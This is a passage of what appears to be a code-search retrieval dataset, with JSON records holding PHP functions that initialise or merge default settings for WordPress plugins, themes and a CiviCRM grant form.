$setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.4')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.5\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.4.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.5')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.5.2\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.5.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.5.2')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.6\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.5.4','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.6')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.4\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.6.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.6.4')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.8.6\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.8.5','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.8.6')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.8.7\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.8.6','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.8.7')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t/* template for plugin updates\n\t\t//info: set defaults for options introduced in v3.11\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.10','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.11')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t*/\n\t}", "title": "" }, { "docid": "3d8300b0baafc4a23dc55b7118b0f8c1", "score": "0.6124911", "text": "function overrideValues() {\n\t\t// Addition of overriding values\n\t\tif (is_array($this->conf[$this->cmdKey.'.']['overrideValues.'])) {\n\t\t\treset($this->conf[$this->cmdKey.'.']['overrideValues.']);\n\t\t\twhile (list($theField, $theValue) = each($this->conf[$this->cmdKey.'.']['overrideValues.'])) {\n\t\t\t\t$this->dataArr[$theField] = $theValue;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "0ddece04b61833b4ec74658048c84127", "score": "0.60970753", "text": "public function applyDefaultValues()\n {\n $this->inititemnbr = '';\n $this->intbwhse = '';\n $this->inltlotser = '';\n $this->inltbin = '';\n }", "title": "" }, { "docid": "161b8e642b800cc79aa70dd0b8b0b26f", "score": "0.6085697", "text": "public static function reward_system_default_settings() {\n global $woocommerce;\n foreach (RSLocalization::reward_system_admin_fields() as $setting)\n if (isset($setting['newids']) && isset($setting['std'])) {\n add_option($setting['newids'], $setting['std']);\n }\n }", "title": "" }, { "docid": "f90455834589075949485219499c59f1", "score": "0.6060282", "text": "function defaultsOverride()\n \t{\n\t\tforeach(argument::$_FORMDATA as $x => $x_value) #Iterate over the default array and on the inner loop evalute argument array.\t\n\t \t{\n\t\t\tforeach(paramater::$_DEFAULTS as $y => $y_value) #Iterate of the argument array \n\t\t\t{\n\t\t\t\tif($x === $y && $x_value != $y_value){\n\t\t\t\t\t paramater::$_DEFAULTS[$y] = $x_value; #replace default value with argument value\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Iterate over the defaults array replacing chr with int \n\t\tforeach(paramater::$_DEFAULTS as $y => $y_value) #Iterate of the argument array \n\t\t{\n\t\t\tswitch($y_value){\n\t\t\t\tcase 'few':\n\t\t\t\t\tparamater::$_DEFAULTS[$y] = globals::$_CHR2NUM_FEW; #replace default value with argument value\n\t\t\t\tbreak;\n\t\t\t\tcase 'more':\n\t\t\t\t\tparamater::$_DEFAULTS[$y] = globals::$_CHR2NUM_MORE; #replace default value with argument value\n\t\t\t\tbreak;\n\t\t\t\tcase 'loads':\n\t\t\t\t\tparamater::$_DEFAULTS[$y] = globals::$_CHR2NUM_LOADS; #replace default value with argument value\n\t\t\t\tbreak;\n\t\t\t\tcase 'off':\n\t\t\t\t\tparamater::$_DEFAULTS[$y] = globals::$_CHR2NUM_OFF; #replace default value with argument value\n\t\t\t\tbreak;\n\t\t\t\tcase 'on':\n\t\t\t\t\tparamater::$_DEFAULTS[$y] = globals::$_CHR2NUM_ON; #replace default value with argument value\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n \t}", "title": "" }, { "docid": "86f8ae6fff855efcbcb30d3bc9319edc", "score": "0.6058444", "text": "public function check_defaults() {\n\t\t\t$options = get_option( 'wpseo_local' );\n\n\t\t\tforeach ( WPSEO_Local_Core::$defaults as $option => $value ) {\n\t\t\t\tif ( empty( $options[ $option ] ) ) {\n\t\t\t\t\t$options[ $option ] = $value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tupdate_option( 'wpseo_local', $options );\n\t\t}", "title": "" }, { "docid": "9f58e35aecaa7c8b8db1b643f3144828", "score": "0.60421133", "text": "abstract protected function setDefaultValues();", "title": "" }, { "docid": "4d1ae93224225b6b7f3e9280c71cd356", "score": "0.603629", "text": "public function assignDefaultValues() {\n\t\t$this->assignByArray(self::$DEFAULT_VALUES);\n\t}", "title": "" }, { "docid": "4d1ae93224225b6b7f3e9280c71cd356", "score": "0.603629", "text": "public function assignDefaultValues() {\n\t\t$this->assignByArray(self::$DEFAULT_VALUES);\n\t}", "title": "" }, { "docid": "bad50d0ca3b465199cc7def10aefe653", "score": "0.601862", "text": "public function initialize_settings() {\n\t\t$default_settings = array();\n\t\tforeach ( $this->settings as $id => $setting ) {\n\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' ) {\n\t\t\t\t$default_settings[$id] = $setting['std'];\n\t\t\t\t}\n\t\t}\n\t\tupdate_option( 'leafletmapsmarker_options', $default_settings );\n\t}", "title": "" }, { "docid": "94414d4bbdd6fcdb2c232b3852bdddfc", "score": "0.60101926", "text": "public function setupAllOptions()\n {\n // load config values to get settings config file.\n $loader = new \\RdDownloads\\App\\Libraries\\Loader();\n $config_values = $loader->loadConfig();\n if (is_array($config_values) && array_key_exists('rundiz_settings_config_file', $config_values)) {\n $settings_config_file = $config_values['rundiz_settings_config_file'];\n } else {\n wp_die(__('Settings configuration file was not set.', 'rd-downloads'));\n exit;\n }\n unset($config_values, $loader);\n\n $RundizSettings = new \\RdDownloads\\App\\Libraries\\RundizSettings();\n $RundizSettings->settings_config_file = $settings_config_file;\n $this->all_options = $RundizSettings->getSettingsFieldsId();\n unset($RundizSettings, $settings_config_file);\n\n // add db version into config value.\n if (is_array($this->all_options)) {\n if (!array_key_exists('rdsfw_plugin_db_version', $this->all_options) && !is_null($this->getDbVersion())) {\n $this->all_options = array_merge($this->all_options, ['rdsfw_plugin_db_version' => $this->db_version]);\n }\n if (!array_key_exists('rdsfw_manual_update_version', $this->all_options)) {\n $this->all_options = array_merge($this->all_options, ['rdsfw_manual_update_version' => '']);\n }\n }\n }", "title": "" }, { "docid": "f0dd74e5be49598b26368b7c5b99fb13", "score": "0.60080457", "text": "function setDefaultValues() {\n $contactID = $this->getContactID();\n\n if (!empty($contactID)) {\n $options = array();\n $fields = array();\n $removeCustomFieldTypes = array('Contribution', 'Membership', 'Activity', 'Participant', 'Grant');\n $grantFields = CRM_Grantapplications_BAO_GrantApplicationProfile::getGrantFields(FALSE);\n \n // remove component related fields\n foreach ($this->_fields as $name => $dontCare) {\n if (substr($name, 0, 7) == 'custom_') {\n $id = substr($name, 7);\n if (!CRM_Core_BAO_CustomGroup::checkCustomField($id, $removeCustomFieldTypes)) {\n continue;\n }\n // ignore component fields\n }\n elseif ( array_key_exists($name, $grantFields) || (stristr($name, 'amount_requested') )) {\n continue;\n }\n $fields[$name] = 1;\n }\n\n $names = array(\n 'first_name', 'middle_name', 'last_name', \"street_address-Primary\", \"city-Primary\",\n \"postal_code-Primary\", \"country_id-Primary\", \"state_province_id-Primary\",\n );\n foreach ($names as $name) {\n $fields[$name] = 1;\n }\n $fields[\"state_province-Primary\"] = 1;\n $fields[\"country-Primary\"] = 1;\n $fields['email-Primary'] = 1;\n \n CRM_Core_BAO_UFGroup::setProfileDefaults($contactID, $fields, $this->_defaults);\n\n }\n\n //set custom field defaults set by admin if value is not set\n if (!empty($this->_fields)) {\n //set custom field defaults\n foreach ($this->_fields as $name => $field) {\n if ($customFieldID = CRM_Core_BAO_CustomField::getKeyID($name)) {\n if (!isset($this->_defaults[$name])) {\n CRM_Core_BAO_CustomField::setProfileDefaults($customFieldID, $name, $this->_defaults,\n NULL, CRM_Profile_Form::MODE_REGISTER\n );\n }\n }\n }\n }\n \n // to process Custom data that are appended to URL\n $getDefaults = CRM_Core_BAO_CustomGroup::extractGetParams($this, \"'Contact', 'Individual', 'Grant'\");\n if (!empty($getDefaults)) {\n $this->_defaults = array_merge($this->_defaults, $getDefaults);\n }\n\n $config = CRM_Core_Config::singleton();\n\n //process drafts\n if ($gid = CRM_Utils_Request::retrieve('gid', 'Positive')) {\n $ssParams = array();\n $ssParams['id'] = CRM_Core_DAO::singleValueQuery('SELECT id FROM civicrm_saved_search WHERE form_values LIKE \"%\\\"grant_id\\\";i:'.$gid.'%\"');\n CRM_Contact_BAO_SavedSearch::retrieve($ssParams, $savedSearch);\n $this->_defaults = array_replace( $this->_defaults, unserialize($savedSearch['form_values']) );\n }\n return $this->_defaults;\n }", "title": "" }, { "docid": "30af766b873478f7ffedf2bb97412375", "score": "0.59957355", "text": "public static function update_table_with_default_settings() {\n\n\t\t\t$cartflows_loader = CARTFLOWS_CA_Loader::get_instance();\n\t\t\t$cartflows_loader->initialize_cart_abandonment_tables();\n\t\t\t$cartflows_loader->update_default_settings();\n\t\t}", "title": "" }, { "docid": "97c87075ab86bad73618c09707303593", "score": "0.59882", "text": "public function initialize_settings(){\n\t\t$default_settings = array();\n\t\tforeach ($this->settings as $id => $setting ){\n\t\t\tif ($setting['type'] != 'heading')\n\t\t\t\t$default_settings[$id] = $setting['std'];\n\t\t}\n\t\tupdate_option('lastfm_tabs_options', $default_settings );\n\t}", "title": "" }, { "docid": "0d9497294464d2a3a8a79dd4b4010957", "score": "0.59742975", "text": "public function defaults() {\n\t\tif ($this->request->is('post') || $this->request->is('put')) {\n\t\t\tif ($this->Project->saveDefaults($this->Auth->user('id'), $this->request->data)) {\n\t\t\t\t$this->Session->setFlash(__('Project defaults saved.'), 'bs_success');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Unable to save project defaults.'), 'bs_error');\n\t\t\t}\n\t\t} else {\n\t\t\t$this->request->data['Project'] = $this->Project->getDefaults($this->Auth->user('id'));\n\t\t}\n\t}", "title": "" }, { "docid": "df017865bc2965b7fbf21ff6f476c2a1", "score": "0.59674513", "text": "protected function defineSettings(){\n $this->settings(array());\n }", "title": "" }, { "docid": "5dc02953a8528adb4c6761c73ff9a12b", "score": "0.5964863", "text": "public function applyDefaultValues()\n {\n $this->created_by = 0;\n $this->modified_by = 0;\n }", "title": "" }, { "docid": "891eb5ee72f46ea61f0ea8abaed22f97", "score": "0.5962667", "text": "private static function set_default_options() {\n if(!get_option('livefyre_apps-livefyre_comments_options_imported')) {\n //set default display options\n self::set_display_options();\n self::import_options();\n }\n \n \n \n if(get_option('livefyre_apps-livefyre_import_status', '') === '') {\n update_option('livefyre_apps-livefyre_import_status', 'uninitialized');\n }\n }", "title": "" }, { "docid": "fbb8b159dab8a001cc12e5ff11a2f7b9", "score": "0.5960133", "text": "private function fixDefaultValues(&$values)\n\t{\n\t\tif (!$this->default) return;\n\t\t\n\t\t$values = array_merge($this->default, $values);\n\t}", "title": "" }, { "docid": "fce3542f41b2f7386dc8df3b94af7167", "score": "0.59427696", "text": "public function setup_default() {\r\n\t\t\r\n\t\t$options=$this->get_options();\r\n\t\tforeach($options as $option) {\r\n\t\t\tif(isset($option['id']) && isset($option['std'])) {\r\n\t\t\t\t$db_option = get_option($option['id']);\r\n\t\t\t\tif($db_option === false){\r\n\t\t\t\t\tupdate_option($option['id'], $option['std']);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tadd_action('admin_init',array($this, 'setup_default_options_updated'));\r\n\r\n\t}", "title": "" }, { "docid": "3222bc738cda12773b8e43c092c35e33", "score": "0.59327507", "text": "function st_update_default_settings($check = false){\r\n $option_name = '_'.ST_NAME.'_is_import_default';\r\n if($check === true){\r\n\r\n if(get_option($option_name)=='y'){\r\n return false;\r\n }\r\n }\r\n\r\n // default setting options\r\n $default ='a:74:{s:6:\"layout\";s:1:\"2\";s:9:\"site_logo\";s:85:\"http://demo.smooththemes.com/exposed/wp-content/themes/Exposed/assets/images/logo.png\";s:12:\"site_favicon\";s:0:\"\";s:9:\"body_font\";a:8:{s:9:\"font-size\";s:2:\"14\";s:14:\"font-size-unit\";s:2:\"px\";s:11:\"line-height\";s:2:\"24\";s:16:\"line-height-unit\";s:2:\"px\";s:5:\"color\";s:0:\"\";s:11:\"font-family\";s:145:\"http://fonts.googleapis.com/css?family=Lato:100%2C100italic%2C300%2C300italic%2Cregular%2Citalic%2C700%2C700italic%2C900%2C900italic&subset=latin\";s:10:\"font-style\";s:6:\"normal\";s:11:\"font-weight\";s:6:\"normal\";}s:13:\"headings_font\";a:1:{s:11:\"font-family\";s:145:\"http://fonts.googleapis.com/css?family=Lato:100%2C100italic%2C300%2C300italic%2Cregular%2Citalic%2C700%2C700italic%2C900%2C900italic&subset=latin\";}s:9:\"heading_1\";a:2:{s:9:\"font-size\";s:2:\"32\";s:14:\"font-size-unit\";s:2:\"px\";}s:9:\"heading_2\";a:2:{s:9:\"font-size\";s:2:\"30\";s:14:\"font-size-unit\";s:2:\"px\";}s:9:\"heading_3\";a:2:{s:9:\"font-size\";s:2:\"18\";s:14:\"font-size-unit\";s:2:\"px\";}s:9:\"heading_4\";a:2:{s:9:\"font-size\";s:2:\"18\";s:14:\"font-size-unit\";s:2:\"px\";}s:9:\"heading_5\";a:2:{s:9:\"font-size\";s:2:\"16\";s:14:\"font-size-unit\";s:2:\"px\";}s:9:\"heading_6\";a:2:{s:9:\"font-size\";s:2:\"14\";s:14:\"font-size-unit\";s:2:\"px\";}s:17:\"select_theme_skin\";s:4:\"dark\";s:25:\"enable_custom_global_skin\";s:1:\"n\";s:18:\"custom_global_skin\";s:6:\"fff200\";s:12:\"container_bg\";s:0:\"\";s:20:\"container_bg_opacity\";s:0:\"\";s:12:\"border_color\";s:6:\"343434\";s:26:\"gallery_item_hover_opacity\";s:3:\"0.6\";s:7:\"bg_type\";s:7:\"default\";s:10:\"defined_bg\";s:12:\"pattern3.png\";s:16:\"defined_bg_color\";s:6:\"c71c77\";s:8:\"bg_color\";s:0:\"\";s:6:\"bg_img\";s:0:\"\";s:10:\"bg_positon\";s:2:\"cc\";s:10:\"bg_repreat\";s:1:\"y\";s:8:\"bg_fixed\";s:1:\"y\";s:21:\"disable_header_custom\";s:1:\"y\";s:17:\"header_link_color\";s:6:\"ffffff\";s:23:\"header_link_hover_color\";s:6:\"ffffff\";s:15:\"header_bg_color\";s:6:\"000000\";s:13:\"header_bg_img\";s:0:\"\";s:17:\"header_bg_positon\";s:0:\"\";s:17:\"header_bg_repreat\";s:0:\"\";s:15:\"header_bg_fixed\";s:0:\"\";s:13:\"blog_toptitle\";s:8:\"The Blog\";s:19:\"s_show_featured_img\";s:1:\"y\";s:16:\"s_show_post_meta\";s:1:\"y\";s:15:\"s_show_post_tag\";s:1:\"y\";s:18:\"enable_author_desc\";s:1:\"y\";s:15:\"s_show_comments\";s:1:\"y\";s:8:\"facebook\";s:2:\"#f\";s:7:\"twitter\";s:2:\"#t\";s:11:\"google_plus\";s:0:\"\";s:4:\"digg\";s:0:\"\";s:9:\"pinterest\";s:0:\"\";s:6:\"flickr\";s:7:\"#flickr\";s:16:\"footer_copyright\";s:115:\"&copy; 2012. All Rights Reserved. Created with love by <a href=\\\"http://www.smooththemes.com\\\">SmoothThemes.Com</a>\";s:14:\"flex_animation\";s:4:\"fade\";s:17:\"flex_directionNav\";s:1:\"y\";s:18:\"flex_animationLoop\";s:1:\"y\";s:14:\"flex_slideshow\";s:1:\"y\";s:19:\"flex_slideshowSpeed\";s:4:\"7000\";s:19:\"flex_animationSpeed\";s:3:\"600\";s:18:\"flex_pauseOnAction\";s:4:\"true\";s:17:\"flex_pauseOnHover\";s:1:\"y\";s:15:\"flex_controlNav\";s:1:\"y\";s:14:\"flex_randomize\";s:1:\"n\";s:20:\"fixed_slideshowSpeed\";s:4:\"7000\";s:20:\"fixed_animationSpeed\";s:3:\"600\";s:12:\"fsc_autoplay\";s:1:\"y\";s:13:\"fsc_slideshow\";s:1:\"y\";s:12:\"fsc_interval\";s:4:\"6000\";s:20:\"fsc_transition_speed\";s:3:\"800\";s:11:\"gif_horizon\";s:3:\"0.6\";s:8:\"gif_size\";s:3:\"0.2\";s:10:\"gif_border\";s:1:\"0\";s:21:\"gkb_frames_per_second\";s:2:\"60\";s:16:\"gkb_display_time\";s:4:\"5000\";s:13:\"gkb_fade_time\";s:4:\"1000\";s:8:\"gkb_zoom\";s:3:\"1.2\";s:18:\"gflip_directionnav\";s:1:\"y\";s:15:\"gflip_thumbnail\";s:1:\"y\";s:21:\"headder_tracking_code\";s:0:\"\";s:20:\"footer_tracking_code\";s:0:\"\";}';\r\n\r\n $translate = 'YTo1OTp7czo2OToiVGhpcyBwb3N0IGlzIHBhc3N3b3JkIHByb3RlY3RlZC4gRW50ZXIgdGhlIHBhc3N3b3JkIHRvIHZpZXcgY29tbWVudHMuIjtzOjA6IiI7czoxMjoiTm8gUmVzcG9uc2VzIjtzOjA6IiI7czoxMjoiT25lIFJlc3BvbnNlIjtzOjA6IiI7czoxMToiJSBSZXNwb25zZXMiO3M6MDoiIjtzOjE0OiJPbGRlciBDb21tZW50cyI7czowOiIiO3M6MTQ6Ik5ld2VyIENvbW1lbnRzIjtzOjA6IiI7czoyOiJ0byI7czowOiIiO3M6MjA6IkNvbW1lbnRzIGFyZSBjbG9zZWQuIjtzOjA6IiI7czoxOToiTGVhdmUgYSBSZXBseSB0byAlcyI7czowOiIiO3M6MTE6IllvdSBtdXN0IGJlIjtzOjA6IiI7czoxODoidG8gcG9zdCBhIGNvbW1lbnQuIjtzOjA6IiI7czoyOToiUmVxdWlyZWQgZmllbGRzIGFyZSBtYXJrZWQgJXMiO3M6MDoiIjtzOjEzOiJMZWF2ZSBhIFJlcGx5IjtzOjA6IiI7czoxMjoiQ2FuY2VsIFJlcGx5IjtzOjA6IiI7czoxMjoiUG9zdCBDb21tZW50IjtzOjA6IiI7czo3OiJDb21tZW50IjtzOjA6IiI7czo1NzoiWW91IG11c3QgYmUgPGEgaHJlZj0iJXMiPmxvZ2dlZCBpbjwvYT4gdG8gcG9zdCBhIGNvbW1lbnQuIjtzOjA6IiI7czo0MToiWW91ciBlbWFpbCBhZGRyZXNzIHdpbGwgbm90IGJlIHB1Ymxpc2hlZC4iO3M6MDoiIjtzOjQ6Ik5hbWUiO3M6MDoiIjtzOjU6IkVtYWlsIjtzOjA6IiI7czo3OiJXZWJzaXRlIjtzOjA6IiI7czoyMToidHlwZSBhbmQgaGl0IGVudGVyLi4uIjtzOjA6IiI7czo2OiJTZWFyY2giO3M6MDoiIjtzOjc6IlBhZ2UgJXMiO3M6MDoiIjtzOjE1OiJQZXJtYWxpbmsgdG8gJXMiO3M6MDoiIjtzOjM6IkFsbCI7czowOiIiO3M6OToiTG9hZGluZy4uIjtzOjA6IiI7czo5OiJMb2FkIG1vcmUiO3M6MDoiIjtzOjg6IkRhdGU6ICVzIjtzOjA6IiI7czo4OiJUYWdzOiAlcyI7czowOiIiO3M6MzoiLi4uIjtzOjA6IiI7aTo0MDQ7czowOiIiO3M6MTU6IkdvIHRvIEhvbWUgcGFnZSI7czowOiIiO3M6MTk6Im9yIHNlYXJjaCB0aGlzIHNpdGUiO3M6MDoiIjtzOjE5OiJBdXRob3IgQXJjaGl2ZXM6ICVzIjtzOjA6IiI7czoxMToiU2VhY2ggZm9yIDoiO3M6MDoiIjtzOjE4OiJEYWlseSBBcmNoaXZlczogJXMiO3M6MDoiIjtzOjIwOiJNb250aGx5IEFyY2hpdmVzOiAlcyI7czowOiIiO3M6MzoiRiBZIjtzOjA6IiI7czoxOToiWWVhcmx5IEFyY2hpdmVzOiAlcyI7czowOiIiO3M6MToiWSI7czowOiIiO3M6MTM6IkJsb2cgQXJjaGl2ZXMiO3M6MDoiIjtzOjIxOiJPb3BzLCBQYWdlIG5vdCBmb3VuZC4iO3M6MDoiIjtzOjY6IlBhZ2VzOiI7czowOiIiO3M6OToiTmV4dCBwYWdlIjtzOjA6IiI7czoxMzoiUHJldmlvdXMgcGFnZSI7czowOiIiO3M6NToiVGFnczoiO3M6MDoiIjtzOjk6IjAgQ29tbWVudCI7czowOiIiO3M6OToiMSBDb21tZW50IjtzOjA6IiI7czoxMDoiJSBDb21tZW50cyI7czowOiIiO3M6NToiU2hhcmUiO3M6MDoiIjtzOjE4OiJBdXRob3IgRGVzY3JpcHRpb24iO3M6MDoiIjtzOjk6IllvdXIgTmFtZSI7czowOiIiO3M6ODoicmVxdWlyZWQiO3M6MDoiIjtzOjE5OiJZb3VyIEUtTWFpbCBBZGRyZXNzIjtzOjA6IiI7czo3OiJTdWJqZWN0IjtzOjA6IiI7czo4OiJNZXNzYWdlOiI7czowOiIiO3M6MTA6IlN1Ym1pdCBOb3ciO3M6MDoiIjtzOjEzOiJSZWFkIG1vcmUg4oaSIjtzOjA6IiI7fQ==';\r\n\r\n $default = str_replace(\"'\",\"\\\\'\", $default);\r\n $default = maybe_unserialize($default);\r\n $default['site_logo'] = st_img('logo.png');\r\n update_option(ST_SETTINGS_OPTION,$default);\r\n if(st_is_wpml()){\r\n $langs = icl_get_languages('skip_missing=0&orderby=KEY&order=asc');\r\n foreach($langs as $l){\r\n update_option(ST_SETTINGS_OPTION.'_'.$l['language_code'],$default);\r\n }\r\n }\r\n // update translate options\r\n $translate = str_replace(\"'\",\"\\\\'\", base64_decode($translate));\r\n $translate= maybe_unserialize($translate);\r\n update_option(ST_TRANSLATE_OPTION, $translate);\r\n update_option($option_name,'y');\r\n}", "title": "" }, { "docid": "167b81538c3104fe2743c1569e601aaf", "score": "0.5926992", "text": "public function populateDefaults()\n {\n // Populate Defaults (from parent):\n \n parent::populateDefaults();\n \n // Populate Defaults:\n \n $this->Title = _t(__CLASS__ . '.DEFAULTTITLE', 'Skype');\n \n $this->VideoEnabled = 0;\n }", "title": "" }, { "docid": "cf10f85ba570de1037ca4b2343843d1f", "score": "0.5923066", "text": "protected function loadDefaults()\n\t{\n\n\t\t$this->global['base_url'] = $this->config->item('base_url');\t\n\n\t\t$this->global['sitename'] = $this->config->item('site_name');\n\t\t$this->global['copyright'] = '';\n\t\t$this->global['version'] = $this->config->item('site_version');\n\t\t\n\t\t\n\t\t$this->global['ENVIRONMENT'] = ENVIRONMENT;\n\t\t$this->global['APPPATH'] = APPPATH;\n\t\t$this->global['BASEPATH'] = BASEPATH;\n\t\t$this->global['assets'] = '/assets/' ;\n\t\t$this->global['jsPath'] = '/assets/js/' ;\n\t\t$this->global['cssPath'] = '/assets/css/' ;\n\t\t\n\t\t$global['ENV'] = $_ENV;\n\t\t$global['GET'] = $_GET;\n\t\t$global['POST'] = $_POST;\n\t\t$this->global['keywords'] = 'AEGEE,Europe,Logo';\n\t\n\t\t\n\t\t// prev URI\n\t\t$prevURI = $this->session->userdata( 'prevURI' );\n\t\tif( isset( $prevURI ) )\n\t\t{\n\t\t\t$this->global['referer'] = $prevURI;\n\t\t}\n\n\t\t\n\t}", "title": "" }, { "docid": "2126ba2642cd47a4a55a529437accbaf", "score": "0.5917711", "text": "protected function updateDefaultsFromObject()\n {\n // update defaults for the main object\n if 